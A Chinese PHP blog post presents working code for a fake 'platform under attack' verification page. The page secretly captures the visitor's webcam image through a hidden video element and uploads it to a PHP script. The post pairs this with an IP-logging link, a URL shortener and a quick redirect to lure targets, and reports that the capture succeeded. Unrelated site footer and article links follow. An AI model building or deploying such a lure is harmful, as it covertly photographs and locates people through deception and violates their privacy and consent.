8 881 2021-01-25 18:34:20
收藏利用php记录网站攻击者桌面照片和ip地址,可以记录IP,顺手偷拍攻击对象,看看他长啥样!
因为事先已经有了IP记录平台,所以方便省事,直接开始研究偷拍
随手写了偷拍页面前端,伪造的受攻击验证(将就看,毕竟只是做一次演示)
前端代码
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>人机验证机制</title> <meta name='Generator' content='EditPlus'> <meta name="viewport" content="width=device-width, user-scalable=no,initial-scale=1, minimal-ui"> <meta name='Description' content='inveted by: http://davidwalsh.name/browser-camera'> <script type="text/javascript" src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.js"></script> <style> html body{width: 100%;height:auto;margin:0 auto 0px;padding:0 0 0px;background-color: #444 } a{text-decoration:none; } .wenzi{width: 300px;height: 300px; margin-right: auto;margin-left: auto; } .yuyan{width: 100% ; height: 150px ; color: #fff; margin-top: 60px; text-align: center;} .sf{width: 100%;height: 150px; line-height: 150px ;text-align: center;} .sf a{display: block;font-size: 12px;margin-left: 28%; text-decoration: none; text-align: center;background-color: #EBEBEB; width: 50px;height: 20px;line-height: 20px; border:solid 1px #222; float: left; } .sf button{display: block; font-size: 13px; margin-left: 10px ; text-align: center;background-color: #EBEBEB; width: 50px;height: 22px; border:solid 1px #222; float: left;} </style> <script> window.addEventListener("DOMContentLoaded", function() { // Grab elements, create settings, etc. var canvas = document.getElementById('canvas'); var context = canvas.getContext('2d'); var video = document.getElementById('video'); var mediaConfig = { video: true }; var errBack = function(e) { console.log('An error has occurred!', e) }; // Put video listeners into place if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) { video.src = window.URL.createObjectURL(stream); video.play(); }); } /* Legacy code below! */ else if(navigator.getUserMedia) { // Standard navigator.getUserMedia(mediaConfig, function(stream) { video.src = stream; video.play(); }, errBack); } else if(navigator.webkitGetUserMedia) { // WebKit-prefixed navigator.webkitGetUserMedia(mediaConfig, function(stream){ video.src = window.webkitURL.createObjectURL(stream); video.play(); }, errBack); } else if(navigator.mozGetUserMedia) { // Mozilla-prefixed navigator.mozGetUserMedia(mediaConfig, function(stream){ video.src = window.URL.createObjectURL(stream); video.play(); }, errBack); } // Trigger photo take document.getElementById('snap').addEventListener('click', function() { context.drawImage(video, 0, 0, 640, 480); var url = canvas.toDataURL('image/png'); document.getElementById('result').value = url; var uu=url.substr(22); $(document).ready(function(){ $.ajax({ cache: true, type: "POST", url:"jieshou.php", data:$('#tp').serialize(), async: false, error: function(request) { alert("Connection error"); }, success: function(data) { $(".return").parent().html(data); } }); }); }); }, false); </script> </head> <body> <div class="wenzi"> <div class="yuyan"> 目前平台正在遭受攻击! <br/> <br/> 显示非正常请使用uc浏览器访问! </div> <div class="sf"> <button id='snap'>确定</button> </div> </div> <div> <video id='video' width='0' height='0'></video> <canvas style="width:0px;height:0px" id='canvas' width='640' height='480'></canvas> <form id="tp" action="./jieshou.php" method="post"> <input type="hidden" type="file" value="sdgsdg" id="demo_input" /> <input type="hidden" name="img" id="result" value="" /> <p id="img_area"></p> <input type="hidden" type="submit" value="提交"> </form> </div> <div class= "return"></div> </body> </html>
jishu.php
后端代码<?php error_reporting(0); $base64_img = trim($_POST['img']); $up_dir = './upload/';//存放在当前目录的upload文件夹下 if(!file_exists($up_dir)){ mkdir($up_dir,0777); } if(preg_match('/^(data:s*image/(w+);base64,)/', $base64_img, $result)){ $type = $result[2]; if(in_array($type,array('pjpeg','jpeg','jpg','gif','bmp','png'))){ $new_file = $up_dir.date('YmdHis_').'.'.$type; if(file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)))){ $img_path = str_replace('../../..', '', $new_file); echo '网站正在遭受攻击,请稍后访问'; } } }
绑定域名并存放至根目录前往ip.heibai.org生成定位链接
(因为平台都是我的,所以我可以自由修改定位链接内容!!!如果要实践定位链接请自行搭建)
马赛克部分为偷拍地址,设置1秒跳转
百度短网址生成链接,开始测试阶段
IP记录成功,接下来是激动人心的时刻,看看是否偷拍成功
查看了我的图片存放目录,成功了的
嗯,对,证明我的思路是可行的。
本文地址:https://xzo.com.cn/develop/php/507.html
如果您认可我们的分享,有意与我们合作开展帝国cms网站建设与开发业务或插件定制,请联系右侧在线客服。我们能给您的,就是高质量的模板与售后。
标注了信息来源为下载鸥的文章皆为原创,如果是转载的优质文章,我们也都标注了出处。如果您喜欢我们的文章,请按照下载鸥所标注的文章出处进行标注,谢谢您的配合。
PHP是一种服务器端、跨平台、html嵌入式的脚本语言,其功能十分强大、入门简单。在过去,民间一直有说法称“PHP是最好的编程语言”,是PHP开发者对自身所使用语言的肯定。
PHP曾是最主流的网站web开发语言之一,现在也依然十分流行。
在实际操作过程中,我们可能需要通过PHP正则提取字符串中的数字,并组成数组。...
猜你喜欢如果用rand()来获取随机ID是非常消耗性能的。小网站几百几千条数据...
互联网上每天都有很多爬虫到处爬取内容,你可能不知道他们是干嘛的,但其中肯定...
今天遇到这样一个问题:php启用了session,经过测试也发现session生效了。但在a...
在开发过程中,我们很多时候会接到猜你喜欢的随机展示效果。这个随机,用php取...
在一些开发场景中,我们需要在每次发起请求后更新重置session_id以同步用户数...
json是使用非常广泛的数据,通过使用json,我们还可以实现多种语言的联动。今天...
PHP_EOL是一个相当好用的函数,可自动适配多种换行格式,在实际的应用中体验非...
PHP 过滤器是用于验证和过滤来自非安全来源的数据。测试、验证和过滤用户输...
检查是否填写了邮件输入框,如果未填写(比如在页面被首次访问时),输出 HTML 表单...
PHP作为服务器端语言,功能十分强大,上传下载更是基本操作。那么,你知道PHP文件...
超全局变量是指超全局变量是在全部作用域中始终可用的内置变量。PHP 中的许...
数组这个东西,接触到编程或者学过数学的人都知道,简单来说就是存储数据的组合...
网站链接转换二维码有多方法,用JS生成简单易懂,用php生成也同样十分高效,如何...
网站常用的欢迎语有时间、星期、天气等。这些功能通过简单的php函数即可实...
PHP禁止外部IP访问服务,比如自己写API接口,只想自己使用,不想被其他人调用,就可...